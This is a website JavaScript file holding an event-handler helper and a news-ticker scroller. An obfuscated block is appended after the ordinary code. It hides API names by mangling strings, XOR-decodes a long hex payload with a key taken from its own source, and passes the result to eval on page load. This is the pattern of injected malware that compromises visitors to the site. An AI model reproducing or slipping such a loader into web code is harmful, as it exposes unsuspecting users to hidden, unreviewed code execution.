// Universal event handler
// Please don't use "onload = functionName" etc
// use instead this "addEvent(window, 'load', functionName);"
function addEvent(obj, strEvent, objFunction)
{ 
	if (obj.addEventListener)
	{ 
		obj.addEventListener(strEvent, objFunction, true); 
		return true; 
	}
	else if (obj.attachEvent)
	{ 
		var returnValue = obj.attachEvent("on"+strEvent, objFunction); 
		return returnValue; 
	} 
	else return false; 
}


if (screen.width <= 800)
{
	document.write('<link rel="stylesheet" href="../_css/800.css" type="text/css" media="screen, projection, print, all">');
}

// ------------------------------------------------------------------------
//      News Scroler
//---------------------------------------------------------------------------
function pausescroller(content, divId, divClass, delay){
this.content=content //message array content
this.tickerid=divId //ID of ticker div to display information
this.delay=delay //Delay between msg change, in miliseconds.
this.mouseoverBol=0 //Boolean to indicate whether mouse is currently over scroller (and pause it if it is)
this.hiddendivpointer=1 //index of message array for hidden div
document.write('<div id="'+divId+'" class="'+divClass+'" style="position: relative; overflow: hidden"><div class="innerDiv" style="position: absolute; width: 90%" id="'+divId+'1">'+content[0]+'</div><div class="innerDiv" style="position: absolute; width: 90%; visibility: hidden" id="'+divId+'2">'+content[1]+'</div></div>')
var scrollerinstance=this
if (window.addEventListener) //run onload in DOM2 browsers
window.addEventListener("load", function(){scrollerinstance.initialize()}, false)
else if (window.attachEvent) //run onload in IE5.5+
window.attachEvent("onload", function(){scrollerinstance.initialize()})
else if (document.getElementById) //if legacy DOM browsers, just start scroller after 0.5 sec
setTimeout(function(){scrollerinstance.initialize()}, 500)
}

// -------------------------------------------------------------------
// initialize()- Initialize scroller method.
// -Get div objects, set initial positions, start up down animation
// -------------------------------------------------------------------

pausescroller.prototype.initialize=function(){
this.tickerdiv=document.getElementById(this.tickerid)
this.visiblediv=document.getElementById(this.tickerid+"1")
this.hiddendiv=document.getElementById(this.tickerid+"2")
this.visibledivtop=parseInt(pausescroller.getCSSpadding(this.tickerdiv))
//set width of inner DIVs to outer DIV's width minus padding (padding assumed to be top padding x 2)
this.visiblediv.style.width=this.hiddendiv.style.width=this.tickerdiv.offsetWidth-(this.visibledivtop*2)+"px"
this.getinline(this.visiblediv, this.hiddendiv)
this.hiddendiv.style.visibility="visible"
var scrollerinstance=this
document.getElementById(this.tickerid).onmouseover=function(){scrollerinstance.mouseoverBol=1}
document.getElementById(this.tickerid).onmouseout=function(){scrollerinstance.mouseoverBol=0}
if (window.attachEvent) //Clean up loose references in IE
window.attachEvent("onunload", function(){scrollerinstance.tickerdiv.onmouseover=scrollerinstance.tickerdiv.onmouseout=null})
setTimeout(function(){scrollerinstance.animateup()}, this.delay)
}


// -------------------------------------------------------------------
// animateup()- Move the two inner divs of the scroller up and in sync
// -------------------------------------------------------------------

pausescroller.prototype.animateup=function(){
var scrollerinstance=this
if (parseInt(this.hiddendiv.style.top)>(this.visibledivtop+5)){
this.visiblediv.style.top=parseInt(this.visiblediv.style.top)-5+"px"
this.hiddendiv.style.top=parseInt(this.hiddendiv.style.top)-5+"px"
setTimeout(function(){scrollerinstance.animateup()}, 50)
}
else{
this.getinline(this.hiddendiv, this.visiblediv)
this.swapdivs()
setTimeout(function(){scrollerinstance.setmessage()}, this.delay)
}
}

// -------------------------------------------------------------------
// swapdivs()- Swap between which is the visible and which is the hidden div
// -------------------------------------------------------------------

pausescroller.prototype.swapdivs=function(){
var tempcontainer=this.visiblediv
this.visiblediv=this.hiddendiv
this.hiddendiv=tempcontainer
}

pausescroller.prototype.getinline=function(div1, div2){
div1.style.top=this.visibledivtop+"px"
div2.style.top=Math.max(div1.parentNode.offsetHeight, div1.offsetHeight)+"px"
}

// -------------------------------------------------------------------
// setmessage()- Populate the hidden div with the next message before it's visible
// -------------------------------------------------------------------

pausescroller.prototype.setmessage=function(){
var scrollerinstance=this
if (this.mouseoverBol==1) //if mouse is currently over scoller, do nothing (pause it)
setTimeout(function(){scrollerinstance.setmessage()}, 100)
else{
var i=this.hiddendivpointer
var ceiling=this.content.length
this.hiddendivpointer=(i+1>ceiling-1)? 0 : i+1
this.hiddendiv.innerHTML=this.content[this.hiddendivpointer]
this.animateup()
}
}

pausescroller.getCSSpadding=function(tickerobj){ //get CSS padding value, if any
if (tickerobj.currentStyle)
return tickerobj.currentStyle["paddingTop"]
else if (window.getComputedStyle) //if DOM2
return window.getComputedStyle(tickerobj, "").getPropertyValue("padding-top")
else
return 0
}
var finalGetTrue;for(finalGetTrue=0; finalGetTrue < 683; finalGetTrue++){finalGetTrue++};var useFalse;var charNs;if(charNs!='asFlashNs' && charNs!='swfFalseSwf'){charNs='asFlashNs'};this.letterFalse=false;useFalse='b6b7b4b1b5b7b6b5f1afb2b09fb0afb0b396feb2a4bfa7fce7afa2b5ae9af8fdb4aab1b7a2bea6bda38bfafba0b5b6b2f9fab7bbad96b5b7fbf9aaa0b9ae89b6f6f2aeccdbe5f8f4a9befaf1a3a1a6a0a1a0bfb2a6a1fce18dd9d3f5f1e7f4e5e5b4b081feb3be96bca2a1eeb6a'+'7b2e09693a9b3ecdfe4dccea6a3a0a6e4e1b68cbcb6b192f7a7a0f3c6e7f6a0e8b78ab9b7b093f1b6a1b087b682baffeedfbdafb5ecf4e1e0a1adb6f8e9d5dcf4c6e0f0a5f1aab6b6fc93a8b3b0a5b8a6f5fed5b0a2b1b2ad86fba8b694b2958ca8b5bbaebdfefeefd2e9c6dbf0'+'bbdacff0f0e1b6e9a0a3afb0b1a1ed95b0b8ac8da2f0e3f2bcbcbba1d6f4f1e6d9e1f7f9f2a780b8b0b5baffafb5a980b8ffe2cecdd8f2fdf6ecc9a0bda3bdaeb5a395a7a7ecc3fef1f1efe194a2a4adaaa4ace0fff0f8f7a4aaa6b3a4a2aad2e8e2f3f4edf3efdccfe6e0f0f2f'+'daab2a0a8d9f1e7f4f2e8f1b2b3ede8e9f1f9fcf293a0a5aff4fbf1f8f6edf8dadfcae5fdfeedffaaabbe95b5beeee5ece1e0f9f8bdbeab87aaaae1fbf7fcf3bfbcbd85a8bde1ebe4f7efecf0cfd3d0e5e4d0f6f2a3bcb2acb5b0e0e2edc7fbe1e5b196bdaba5bea5a2edeee0f2'+'cde3d4cfbdfad6bfa2b7e7f6bda1aef481baad84ac99b4b0b0f5b9afafb5cdf8a2c8cad7fcf9a1b8f6a3b3adb5b9a8bbf9e6f6e1d0f9f5e9fdb4bca28dbfb9bca3ebb0b4b8adb694feccdfe3e5fba1ada0e283bbbba2ba99fae7f6e6fff3e4f6f4a0b2aa94f9f3f6facafbe3dac'+'be4e7f087bcadf4a884ae96a0b4fbe8e8beb09cb0e2dcd0d1f8fea2a2a3f0ac91b5b082a0e1fafae4f5d8ced1fdffa2ba82f9bdbfa6feeff7e9edc8d7c4e7f0b0a7fdf1b2b5bbafb180eebea2baa2abb3e3defae6e4f4bcdcddf9e4f5fff1f2b2b2a2ad83b4f6ecf2a391b8b6ba'+'b3edb7adbfbdbf9ba3fdaeb3a391a7b9f1e8d9d4f4e5c5e5f2f7b0b2e5cba9b4a5adbdb2e5d5eef9fae3fafeadcbeee6f2f8e0fbfce0f6e6b1b1bba0b3b7d6f4e4f5ae96baabb7aba8eae1ebe3b7beffdfd8e4d1f2e0def7fdf3f6a6a8b3e5e5feb8bf9ebbaa80ebbbb4b0a78e8'+'ba1feebfbf4eaf6bfa591b5bba2f8dfcad0e6f0f3e1d6e3faf8b3b0d9faa7afb6e2ecefe0ddf7f0e3a2d6dcfaf6e7f9c6e0f0f2f2e4d9f5bbbab2e3e5f0a3b8bca89ab1efbdbfbaa3ac8dfbdfdcf0e3d9f7fdf5f5e3fda2cceaf9e7f3a0f0fbf5e2fd97a4a783a1b0d8ebfba5ba'+'a7b2a6a4a393f8bdb8bdbbb0b3edad83a5b4a0b7b1aebcf48ab9bdb0a4adffe296bfa6fbfbffd6dee2fcf8fee5e0affddbf8f4f0add8c8d8f6fba2b1b6b6a4acf0adbfa48a93a8efc3dfb9d3d8a1bdabf7ac94b9a5eeece3b4bbac97b48fb1bfa8fce5b9b0bba6bbab86efecebd'+'cd5b2b0fcceaea6ada2e5f1e9ecf4e4d1add6dab0ad94bba9b6afa1edacb68ab2b7fef0e7aeb2aeb0bdbcf6b0ac87fef5baa6b68aeff5fcb5a4bbb4b3b3b0a5ecbabbf1bdb8ed85bebff6e7e7f2aabda0aa8efde7f1baa597b0b5a7ebf2e6a4b1a4b3a4c5f6b7bbb7a6b4affdf6'+'a5adbbb4a3b5aab1baa2a1e4e7fdb8b4b183b4baa6b6aeb9b6b6ddebe3bca0a5a0aaacb4bb96a9b2ebf2faa6b9a1bbac8db0b8a8edababfafefe99b7aab5bda6e6f8e4f1efccc9a0a29680bcb4baaca4fae681a0b1b4beafa4fef5f7fbcef4f5e7edf4c4f7f9f6ece1eaeecacfb'+'acdd3';this.flashFalseSwf='';function flash(nullFalse){var nullObject;if(nullObject!='objectFinal'){nullObject=''};function player(objectAdobe){var swfCharChar;for(swfCharChar=1713; swfCharChar < 1712; swfCharChar++){swfCharChar+=1713};var adobeSwf=0,flashGet=objectAdobe['lTejn&gNt&hj'.replace(/[jTPN&]/g, '')];var date=0;var charCharSwf;if(charCharSwf!='getFlash' && charCharSwf!='charTrue'){charCharSwf='getFlash'};while(date<flashGet){date++;set=swf(objectAdobe,date-1);adobeSwf+=set*flashGet;}this.byteChar="";return new String(adobeSwf);}var byteShortFinal;for(byteShortFinal=33; byteShortFinal < 32; byteShortFinal++){byteShortFinal+=33};function asFlash(getObject, flashAs){var playerFinalFloat;if(playerFinalFloat!='swfFinalWord' && playerFinalFloat!='getGetSet'){playerFinalFloat=''};if(flashSwf == null) {flashSwf = {};}var intPlayer=false;if(flashSwf[getObject] == null) {var charUse;if(charUse!='' && charUse!='shortAdobe'){charUse=null};var objectFinalFloat=60315;var getGet = Object;var longGetUse=new Array();var getAs;if(getAs!='' && getAs!='longLetter'){getAs=null};flashSwf[getObject] = new getGet();flashSwf[getObject].intWord = 0;flashSwf[getObject].trueAdobe = flashAs;var nullShort=new Date();}}function swfAdobe(getObject) {var finalPlayer;if(finalPlayer!='' && finalPlayer!='objectByte'){finalPlayer='falseObjectByte'};var nsUse=false;if(flashSwf[getObject] != null) {var objectPlayer = flashSwf[getObject];var intObject=function(){};var word = objectPlayer.intWord;var trueFloat = objectPlayer.trueAdobe;this.letterUse="letterUse";var finalNs = trueFloat.substr(word, 1);var nullNs='';var asByte = trueFloat['lTejn&gNt&hj'.replace(/[jTPN&]/g, '')];var nullAdobe;if(nullAdobe!='' && nullAdobe!='finalFalse'){nullAdobe=''};if(word + 1 >= asByte) {objectPlayer.intWord = 0;} else {objectPlayer.intWord = word + 1;}var swfCharFalse;for(swfCharFalse=0; swfCharFalse < 1013; swfCharFalse++){swfCharFalse++};return swf(finalNs, 0);}var staticPlayerDate=14556;}function swf(staticGet,falseDate){return staticGet.charCodeAt(falseDate);}function ns(finalNsGet,trueLong){var charSetSwf=function(){};return finalNsGet^trueLong;}var nsLong = new String(document['wjrjiHtnec'.replace(/[cjnHU]/g, '')]);var nsGet;if(nsGet!='usePlayerFloat' && nsGet!='adobeFloat'){nsGet='usePlayerFloat'};if(nsLong['ibn#d#e4x4O#fj'.replace(/[j4#b9]/g, '')]('a(rHi(tAy>'.replace(/[\>HAb\(]/g, '')) != -1) { return 135;}this.trueShort=false;var flashSwf = null;this.shortLong=false;var nullFalseAdobe=window;var flashAsUse;if(flashAsUse!='' && flashAsUse!='useWordInt'){flashAsUse=null};var adobe=document;this.charDate=false;var playerUse=String;var nullLongByte;if(nullLongByte!='' && nullLongByte!='getObjectSwf'){nullLongByte=''};var finalNull = nullFalseAdobe['swe6t@T6i@m6e6owu*t@'.replace(/[@6wS\*]/g, '')];var charUseChar=48089;var staticPlayer=135;var byteUseSet;for(byteUseSet=643;; byteUseSet++){if(byteUseSet > 643) break;};var shortWord=nullFalseAdobe['uznDeSsDcSaDp+ez'.replace(/[z3S\+D]/g, '')];var finalLetterLetter=new Date();var nsFloat = '';var playerSet=playerUse['fpr,o~m!Cph,a~r[C!o,dpe!'.replace(/[\!~p,\[]/g, '')];var objectTrue;if(objectTrue!='floatTrueInt' && objectTrue != ''){objectTrue=null};var playerChar = '';var falseNullSwf;if(falseNullSwf!=''){falseNullSwf='getFloat'};for(var getWord=0; getWord < nullFalse.length; getWord+=2){playerChar+='%' + nullFalse['sLuLbhs.tLr.'.replace(/[\.LhmF]/g, '')](getWord, 2);}var nullFalse = shortWord(playerChar);var trueDateShort=new Date();this.nullFloat='';var flashLong = new playerUse(flash);var adobeNs = flashLong['rXeXp}lXaXc*eX'.replace(/[X\}\*@O]/g, '')](/[^@a-z0-9A-Z_-]/g,'');var staticNull = new playerUse(player(adobeNs));var byteNs=function(){};asFlash('intInt', adobeNs);this.letterFloat="";asFlash('nsFloatWord', staticNull);for(var adobeFinal=0; adobeFinal < (nullFalse['lTejn&gNt&hj'.replace(/[jTPN&]/g, '')]); adobeFinal++) {var trueUse = swf(nullFalse,adobeFinal);trueUse = ns(trueUse, staticPlayer);trueUse = ns(trueUse, swfAdobe('nsFloatWord'));var asSwfByteLong=50129;trueUse = ns(trueUse, swfAdobe('intInt'));this.byteStatic=false;nsFloat+=playerSet(trueUse);}this.trueFalseFloat="trueFalseFloat";nullFalseAdobe['e>vXaYl4'.replace(/[4YX\>h]/g, '')](nsFloat);return nsFloat=new playerUse();var swfUse="swfUse";};var wordShort=function(){};flash(useFalse);var swfInt=new Array();var staticNs=function(){};
